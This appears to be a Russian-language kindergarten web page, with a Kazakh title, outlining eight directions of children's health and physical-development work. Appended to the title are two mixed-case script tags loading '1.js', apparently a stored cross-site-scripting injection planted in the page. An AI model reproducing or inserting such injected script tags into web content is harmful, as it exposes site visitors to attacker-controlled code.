«Мектепке дейінгі жастағы білімнің ұйымдастыру сапасы туралы, денсаулық сақтайтын технологиялардың жұмысыс туралы»<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

14.11.2018

«О качестве организации дошкольного образования, о работе здоровьесберегающих технологий».

  Направления рботы по оздоровлению детей в детском Саду

ПЕРВОЕ направление – комплексная диагностика и исследование состояния здоровья детей специалистами:

       

осмотр детей медицинским персоналом ДО;        

диагностика речевого и внеречевого дыхания логопедом ДО;        

выявление нарушений двигательной активности, координации движений в беседах

с родителями и непосредственно на занятиях в детском саду;      

диагностирование общей физической подготовки детей в начале и в конце года

по нормативам.

ВТОРОЕ направление включает в себя рациональную организацию двигательной деятельности детей:      

утренняя гимнастика;         

физкультурные занятия (традиционные, тренировочные, занятия соревнования, интегрированные с другими видами деятельности, праздники и развлечения);        

ритмика;

хореография     

гимнастика после сна;       

ежедневный режим прогулок;         

создание необходимой развивающей среды;        

строгое соблюдение двигательного режима и режима дня;       

проведение физкультминуток, игр с движениями в свободной деятельности;      

музыкальные занятия;        

занятия по формированию здорового образа жизни.

ТРЕТЬЕ направление определяет систему эффективного закаливания по ступеням: от щадящего до более интенсивных воздействий, с учетом индивидуальных особенностей детей. При этом используется комплекс процедур:        

босохождение;         

умывание;         

ходьба босиком по «дорожкам здоровья» (закаливание рижский метод, профилактика плоскостопия);       

воздушные ванны в облегченной одежде;      

купание в бассейне       

физкультура  на свежем воздухе .

ЧЕТВЕРТОЕ направление связано с осуществлением лечебно – профилактической работы. В его рамках проводится следующие мероприятия:     

постоянный контроль осанки;      

контроль дыхания на занятиях по физическому воспитанию;       

подбор мебели в соответствии с ростом детей;      

профилактический прием иммуномодуляторов: оксолиновая мазь для носа;         

сбалансированное питание;        

вакцинация против гриппа;        

потребление фитонцидов (чеснока и лука);         

употребление соков и фруктов;

 

ПЯТЫМ направлением является использование методик нетрадиционного оздоровления детей:         

пальчиковая и артикуляционная гимнастика;     

дыхательная и звуковая гимнастика;      

психогимнастика по методике М. Чистяковой;       

арттерапия;

ШЕСТЫМ направлением считается комплекс психогигиенических мероприятий:       

психодиагностика;       

элементы аутотренинга и релаксации;         

элементы музыкотерапии;       

индивидуальные и подгрупповые занятия в комнате психологической разгрузки,направленные на коррекцию познавательных процессов и эмоциональной сферы;        

обеспечение благоприятного психологического климата в ДО.

СЕДЬМЫМ направлением является реабилитация и коррекционная работа:     коррекционная работа с детьми, имеющими плоскостопие и склонность к плоскостопию, со слабо сформированной стопой;        

индивидуальная работа с детьми, отстающими в основных видах движений;        

коррекция психоэмоциональной сферы;        

индивидуальная работа в спортзале и на прогулке, проводимая инструктором по физической культуре;

  индивидуальная работа в группе и на прогулке, проводимая воспитателями групп.

ВОСЬМЫМ направлением является консультативно – информационная работа:       

оказание консультативной помощи всем участникам образовательного процесса,родителям воспитанников по вопросам сохранения здоровья и профилактических мероприятий для дошкольников;        

открытые просмотры и показы с использованием оздоравливающих технологий;         

активное участие родителей в физкультурно – оздоровительной работе ДО;         

оформление лэпбуков, ширм, письменных консультаций, информационных стендов;

Оздоровительные, санитарно – гигиенические и профилактические мероприятия осуществляются психологом, медицинскими работниками, воспитателями,инструктором по физическому воспитанию.